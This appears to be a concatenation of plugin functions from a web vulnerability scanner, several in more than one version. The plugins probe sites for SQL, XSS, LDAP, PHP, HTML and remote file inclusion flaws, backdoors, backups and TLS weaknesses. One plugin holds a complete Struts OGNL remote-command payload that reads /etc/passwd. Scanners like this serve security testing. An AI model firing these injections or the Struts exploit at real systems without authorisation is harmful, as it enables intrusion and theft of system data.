def process(self, start_url, crawled_urls): output = Services.get("output") logger = Services.get("logger") output.info("Scanning anonymous cipher vuln...") ip = "" port = "443" try: ip += socket.gethostbyname(urlparse(start_url).hostname) socket.inet_aton(ip) r = subprocess.Popen( [ "openssl", "s_client", "-connect", ip + ":" + str(port), "-cipher", "aNULL", ], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, ).communicate()[0] if "handshake failure" not in str(r): output.finding( "That site is vulnerable to Anonymous Cipher, CVE-2007-1858." ) except Exception as e: logger.error(e) output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') datastore = Services.get('datastore') request = Services.get('request_factory') output.info('Checking common dirs..') with datastore.open('cdir.txt', 'r') as db: dbfiles = [x.strip() for x in db] try: for d in dbfiles: url = urljoin(start_url, d) resp = request.send(url=url, method="GET", payload=None, headers=None) if resp.status_code == 200: if resp.url == url.replace(' ', '%20'): output.finding('Found "%s" directory at %s' % (d[0], resp.url)) if re.search( r'Index Of|<a href="?C=N;O=D">Name</a>|<A HREF="?M=A">Last modified</A>|Parent Directory</a>|<TITLE>Folder Listing.|<<table summary="Directory Listing"', str(resp.content), re.I): output.finding('Indexing enabled at %s' % (resp.url)) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") logger = Services.get("logger") output.info("Checking webdav..") try: resp = request.send( url=start_url, method="PROPFIND", payload=None, headers={ "Host": "localhost", "Content-Length": "0" }, ) if re.search("<a:href>http://localhost/</a:href>", resp.text, re.I): output.finding( "That site is may be vulnerable to WebDAV authentication bypass vulnerability, (CVE-2009-1535)." ) except Exception as e: logger.error(e) output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') datastore = Services.get('datastore') request = Services.get('request_factory') output.info('Checking common backup dirs..') db = datastore.open('bdir.txt', 'r') dbfiles = [x for x in db.readlines()] db1 = datastore.open('cdir.txt', 'r') dbfiles1 = [x for x in db1.readline()] try: for b in dbfiles: for d in dbfiles1: bdir = b[0].replace('[name]', d[0]) url = urljoin(start_url, bdir) resp = request.send(url=url, method="GET", payload=None, headers=None) if resp.status_code == 200: if resp.url == url.replace(' ', '%20'): output.finding( 'Found directory "%s" Backup at %s' % (d[0], resp.url)) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') datastore = Services.get('datastore') output.info('Checking remote file inclusion...') db = datastore.open('rfi.txt', 'r') dbfiles = [x.split('\n') for x in db] pl = r"root:/root:/bin/bash|default=multi([0])disk([0])rdisk([0])partition([1])\\WINDOWS" try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) if re.search(pl, resp.content): output.finding( 'That site is may be vulnerable to Remote File Inclusion (RFI) at %s' % url) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get("output") logger = Services.get("logger") output.info("Scanning crime (SPDY) vuln...") ip = "" port = "443" try: ip += socket.gethostbyname(urlparse(start_url).hostname) socket.inet_aton(ip) r = subprocess.Popen( [ "openssl", "s_client", "-connect", ip + ":" + port, "-nextprotoneg", "NULL", ], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, ).communicate()[0] if "Protocols advertised by server" not in str(r): output.finding( "That site is vulnerable to CRIME (SPDY), CVE-2012-4929.") except Exception as e: logger.error(e) output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
class Backdoor(AttackPlugin): output = Services.get("output") datastore = Services.get("datastore") request = Services.get("request_factory") logger = Services.get("logger") def check_url(self, url): try: self.output.debug("Testing: %s" % url) resp = self.request.send(url=url, method="HEAD", payload=None, headers=None) if resp.status_code == 200: self.output.finding("Found backdoor at %s" % resp.url) except Exception as e: self.logger.error(e) self.output.error("Error occured\nAborting this attack...\n") self.output.debug("Traceback: %s" % e) return def process(self, start_url, crawled_urls): self.output.info("Checking common backdoors...") with self.datastore.open("backdoor.txt", "r") as db: dbfiles = [x.strip() for x in db.readlines()] urls = map(lambda backdoor: urljoin(str(start_url), str(backdoor)), dbfiles) # We launch ThreadPoolExecutor with max_workers to None to get default optimization # https://docs.python.org/3/library/concurrent.futures.html with ThreadPoolExecutor(max_workers=None) as executor: futures = [executor.submit(self.check_url, url) for url in urls] try: for future in as_completed(futures): future.result() except KeyboardInterrupt: executor.shutdown(False) raise
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") output.info("Checking robots paths..") try: url = urljoin(start_url, "robots.txt") resp = request.send(url=url, method="GET", payload=None, headers=None) for line in str(resp.text).splitlines(): if line.startswith("Disallow"): disallow_path = line.split(": ")[1].split(" ")[0] check_url = urljoin(start_url, disallow_path) resp = request.send(url=check_url, method="GET", payload=None, headers=None) output.finding(" - [%s] %s" % (resp.status_code, check_url)) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') output.info('Checking php code injection...') payload = "1;phpinfo()" try: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) if resp.status_code == 200: if re.search( r'<title>phpinfo[()]</title>|<h1 class="p">PHP Version (.*?)</h1>', resp.text): output.finding( 'That site is may be vulnerable to PHP Code Injection at %s' % url) except Exception as e: output.error("Error occured\nAborting this attack...\n") return
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') datastore = Services.get('datastore') output.info('Checking sql injection...') db = datastore.open('sql.txt', 'r') dbfiles = [x.split('\n') for x in db] try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) erro = self.dberror(resp.text) if erro is not None: output.finding( 'That site is may be vulnerable to %s at %s' % (erro, url)) except Exception as e: output.error("Error occured\nAborting this attack...\n") return
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") output.info("Checking phpinfo..") db = datastore.open("phpinfo.txt", "r") dbfiles = [x.split("\n") for x in db] try: for d in dbfiles: url = urljoin(start_url, str(d[0])) resp = request.send(url=url, method="GET", payload=None, headers=None) if re.search( r'<h1 class="p">PHP Version (.*?)</h1>|(<tr class="h"><td>\n|alt="PHP Logo" /></a>)', resp.text, ): output.finding("Found phpinfo page at %s" % (resp.url)) break except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') output.info('Checking robots paths..') try: url = urljoin(request.url, 'robots.txt') resp = request.send(url=url, method="GET", payload=None, headers=None) if resp.url == url: paths = re.findall(r'\ (/\S*)', str(resp.content)) if len(paths): for path in paths: if path.startswith('/'): path = path[1:] url2 = urljoin(request.url, path) resp = request.send(url=url2, method="GET", payload=None, headers=None) output.finding(" - [%s] %s" % (resp.status_code, url2)) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') output.info('Checking html injection...') try: payload = "<h1><a href=\"http://www.google.com\">Click Linguini!</a></h1>" for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) if resp.status_code == 200: if re.search(payload, str(resp.content)): output.finding( 'That site is may be vulnerable to HTML Code Injection at %s' % url) except Exception as e: print(e)
def test_bad_service(): with pytest.raises(NameError): Services.get("example") Services.register("example", "test") if Services.get("example") is None: raise AssertionError
def process(self, start_url, crawled_urls): output = Services.get('output') datastore = Services.get('datastore') request = Services.get('request_factory') output.info('Checking common backup files..') db = datastore.open('bfile.txt', 'r') dbfiles = [x for x in db.readlines()] db1 = datastore.open('cfile.txt', 'r') dbfiles1 = [x for x in db1.readlines()] try: for b in dbfiles: for d in dbfiles1: bdir = b.replace('[name]', d.strip()) url = urljoin(start_url, bdir) resp = request.send( url=url, method="GET", payload=None, headers=None ) if resp.status_code == 200: if resp.url == url.replace(' ', '%20'): output.finding('Found file "%s" Backup at %s' % (d.strip(), resp.url)) except Exception as e: output.error("Error occured\nAborting this attack...\n") return
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") output.info("Checking remote file inclusion...") db = datastore.open("rfi.txt", "r") dbfiles = [x.split("\n") for x in db] pl = r"root:/root:/bin/bash|default=multi([0])disk([0])rdisk([0])partition([1])\\WINDOWS" try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) output.debug("Testing: %s" % attack_url) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) if re.search(pl, resp.text): output.finding( "That site is may be vulnerable to Remote File Inclusion (RFI) at %s\nInjection: %s" % (url, payload)) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') datastore = Services.get('datastore') request = Services.get('request_factory') output.info('Checking ldap injection...') db = datastore.open('ldap.txt', 'r') dbfiles = [x.strip() for x in db] try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) resp = request.send( url=attack_url, method="GET", payload=None, headers=None ) if self.errors(str(resp.content)): output.finding('That site is may be vulnerable to LDAP Injection at %s' % url) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get("output") datastore = Services.get("datastore") request = Services.get("request_factory") output.info("Checking common dirs..") with datastore.open("cdir.txt", "r") as db: dbfiles = [x.strip() for x in db.readlines()] try: for d in dbfiles: url = urljoin(start_url, d) output.debug("Testing: %s" % url) resp = request.send(url=url, method="GET", payload=None, headers=None) if resp.status_code == 200: if resp.url == url.replace(" ", "%20"): output.finding('Found "%s" directory at %s' % (d, resp.url)) if re.search( r'Index Of|<a href="?C=N;O=D">Name</a>|<A HREF="?M=A">Last modified</A>|Parent Directory</a>|<TITLE>Folder Listing.|<<table summary="Directory Listing"', resp.text, re.I, ): output.finding("Indexing enabled at %s" % (resp.url)) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") output.info("Checking sql injection...") db = datastore.open("sql.txt", "r") dbfiles = [x.split("\n") for x in db] try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode( tainted_params) output.debug("Testing: %s" % attack_url) resp = request.send(url=attack_url, method="GET", payload=None, headers=None) erro = self.dberror(resp.text) if erro is not None: output.finding( "That site may be vulnerable to SQL Injection at %s\nInjection: %s" % (url, payload)) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") output.info("Checking html injection...") try: payload = '<h1><a href="http://www.google.com">Click Linguini!</a></h1>' for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) output.debug("Testing: %s" % attack_url) resp = request.send( url=attack_url, method="GET", payload=None, headers=None ) if resp.status_code == 200: if re.search(payload, resp.text): output.finding( "That site is may be vulnerable to HTML Code Injection at %s" % url ) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') datastore = Services.get('datastore') db = datastore.open('xss.txt', 'r') dbfiles = [x.split('\n') for x in db] output.info('Checking cross site scripting...') try: for payload in dbfiles: for url in crawled_urls: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) resp = request.send( url=attack_url, method="GET", payload=None, headers=None ) if resp.status_code == 200: if re.search(payload[0], str(resp.content), re.I): output.finding( 'That site is may be vulnerable to Cross Site Scripting (XSS) at %s' % url) except Exception as e: print(e)
def process(self, start_url, crawled_urls): output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") logger = Services.get("logger") output.info("Checking http allow methods..") db = datastore.open("allowmethod.txt", "r") dbfiles = [x.strip() for x in db.readlines()] try: for method in dbfiles: resp = request.send(url=start_url, method=str(method), payload=None, headers=None) if re.search(r"allow|public", str(resp.headers.keys()), re.I): allow = resp.headers["allow"] if allow is None: allow = resp.headers["public"] if allow is not None and allow != "": output.finding("HTTP Allow Method: %s" % allow) break except Exception as e: logger.error(e) output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get("output") datastore = Services.get("datastore") request = Services.get("request_factory") logger = Services.get("logger") output.info("Checking common backdoors...") with datastore.open("backdoor.txt", "r") as db: dbfiles = [x.strip() for x in db.readlines()] try: for backdoorpath in dbfiles: url = urljoin(start_url, backdoorpath) output.debug("Testing: %s" % url) resp = request.send(url=url, method="HEAD", payload=None, headers=None) if resp.status_code == 200: if resp.url == url.replace(" ", "%20"): output.finding("Found Backdoor at %s" % resp.url) except Exception as e: logger.error(e) output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def process(self, start_url, crawled_urls): output = Services.get('output') request = Services.get('request_factory') output.info('Scanning struts-shock vuln..') try: payload = "%{(#_='multipart/form-data')." payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='cat /etc/passwd')." # cmd command = cat /etc/passwd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" resp = request.send(url=start_url, method="GET", headers={'Content-Type': payload}, payload=None) if resp.status_code == 200: if re.search(r'.*:/bin/bash', resp.text, re.I): output.finding( 'The site is my be vulnerable to Struts-Shock. See also https://www.exploit-db.com/exploits/41570/.' ) except Exception as e: output.error("Error occured\nAborting this attack...\n") return
def process(self, start_url, crawled_urls): output = Services.get("output") datastore = Services.get("datastore") request = Services.get("request_factory") output.info("Checking common backup files..") db = datastore.open("bfile.txt", "r") dbfiles = [x for x in db.readlines()] db1 = datastore.open("cfile.txt", "r") dbfiles1 = [x for x in db1.readlines()] try: for b in dbfiles: for d in dbfiles1: bdir = b.replace("[name]", d.strip()) url = urljoin(start_url, bdir) output.debug("Testing: %s" % url) resp = request.send(url=url, method="GET", payload=None, headers=None) if resp.status_code == 200: if resp.url == url.replace(" ", "%20"): output.finding('Found file "%s" Backup at %s' % (d.strip(), resp.url)) except Exception as e: output.error("Error occured\nAborting this attack...\n") output.debug("Traceback: %s" % e) return
def test_container(): Services.register("datastore", "hello") assert Services.get("datastore") == "hello" a = "singleton" Services.register("singleton", a) assert Services.get("singleton") == a
def test_container(): Services.register("datastore", "hello") if Services.get("datastore") != "hello": raise AssertionError a = "singleton" Services.register("singleton", a) if Services.get("singleton") != a: raise AssertionError
class Xss(AttackPlugin): output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") logger = Services.get("logger") def attack(self, payload, url): try: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) self.output.debug("Testing: %s" % attack_url) resp = self.request.send(url=attack_url, method="GET", payload=None, headers=None) if resp.status_code == 200: if re.search(payload[0], resp.text, re.I): self.output.finding( "That site may be vulnerable to Cross Site Scripting (XSS) at %s \nInjection: %s" % (url, payload[0])) except Exception as e: self.logger.error(e) self.output.error("Error occured\nAborting this attack...\n") self.output.debug("Traceback: %s" % e) return def process(self, start_url, crawled_urls): db = self.datastore.open("xss.txt", "r") dbfiles = [x.split("\n") for x in db] self.output.info("Checking cross site scripting...") for payload in dbfiles: with ThreadPoolExecutor(max_workers=None) as executor: futures = [ executor.submit(self.attack, payload, url) for url in crawled_urls ] try: for future in as_completed(futures): future.result() except KeyboardInterrupt: executor.shutdown(False) raise
class Rfi(AttackPlugin): level = Risk.DANGEROUS output = Services.get("output") request = Services.get("request_factory") datastore = Services.get("datastore") logger = Services.get("logger") def attack(self, payload, url): flag = r"root:/root:/bin/bash|default=multi([0])disk([0])rdisk([0])partition([1])\\WINDOWS" try: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) self.output.debug("Testing: %s" % attack_url) resp = self.request.send( url=attack_url, method="GET", payload=None, headers=None ) if re.search(flag, resp.text): self.output.finding( "That site is may be vulnerable to Remote File Inclusion (RFI) at %s\nInjection: %s" % (url, payload) ) except Exception as e: self.logger.error(e) self.output.error("Error occured\nAborting this attack...\n") self.output.debug("Traceback: %s" % e) return def process(self, start_url, crawled_urls): self.output.info("Checking remote file inclusion...") db = self.datastore.open("rfi.txt", "r") dbfiles = [x.split("\n") for x in db] for payload in dbfiles: with ThreadPoolExecutor(max_workers=None) as executor: futures = [ executor.submit(self.attack, payload, url) for url in crawled_urls ] try: for future in as_completed(futures): future.result() except KeyboardInterrupt: executor.shutdown(False) raise
class Php(AttackPlugin): output = Services.get("output") request = Services.get("request_factory") logger = Services.get("logger") def attack(self, payload, url): try: # Current request parameters params = dict(parse_qsl(urlsplit(url).query)) # Change the value of the parameters with the payload tainted_params = {x: payload for x in params} if len(tainted_params) > 0: # Prepare the attack URL attack_url = urlsplit(url).geturl() + urlencode(tainted_params) self.output.debug("Testing: %s" % attack_url) resp = self.request.send(url=attack_url, method="GET", payload=None, headers=None) if resp.status_code == 200: if re.search( r'<title>phpinfo[()]</title>|<h1 class="p">PHP Version (.*?)</h1>', resp.text, ): self.output.finding( "That site is may be vulnerable to PHP Code Injection at %s\nInjection: %s" % (url, payload)) except Exception as e: self.logger.error(e) self.output.error("Error occured\nAborting this attack...\n") self.output.debug("Traceback: %s" % e) return def process(self, start_url, crawled_urls): self.output.info("Checking php code injection...") payload = "1;phpinfo()" with ThreadPoolExecutor(max_workers=None) as executor: futures = [ executor.submit(self.attack, payload, url) for url in crawled_urls ] try: for future in as_completed(futures): future.result() except KeyboardInterrupt: executor.shutdown(False) raise